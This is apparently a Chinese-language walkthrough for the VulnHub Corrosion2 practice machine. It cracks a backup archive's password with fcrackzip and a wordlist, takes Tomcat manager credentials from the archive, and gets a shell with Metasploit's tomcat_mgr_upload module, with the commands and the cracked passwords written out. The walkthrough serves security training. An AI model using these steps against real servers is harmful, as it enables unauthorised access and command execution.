1.安装靶机
https://download.vulnhub.com/corrosion/Corrosion2.ova
https://download.vulnhub.com/corrosion/Corrosion2.ova
2.扫描IP
3.扫描端口
4.访问端口
首先访问一下80端口
访问一个8080端口发现是一个apache的页面
5.扫描目录与漏洞探测
那么我们扫描一下目录
80端口没有扫描到东西，这里我们扫描8080
扫描到一个压缩包还有readme.txt，还有一些别的目录，我们访问一下看看有没有有用的信息
说服务器上有个文件还有密码，我们去看一下那个压缩包，发现解压需要密码，我们使用kali的工具爆破一下
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip
@administrator_hi5然后去解压看一下里面的内容
找到两组登录用户和密码
6.漏洞利用
然后使用msfconsole获取shell
use exploit/multi/http/tomcat_mgr_upload
set RHOST 192.168.248.145
set HttpUsername manager
set HttpPassword melehifokivai
然后run
输入shell，就可以执行命令了
)
)
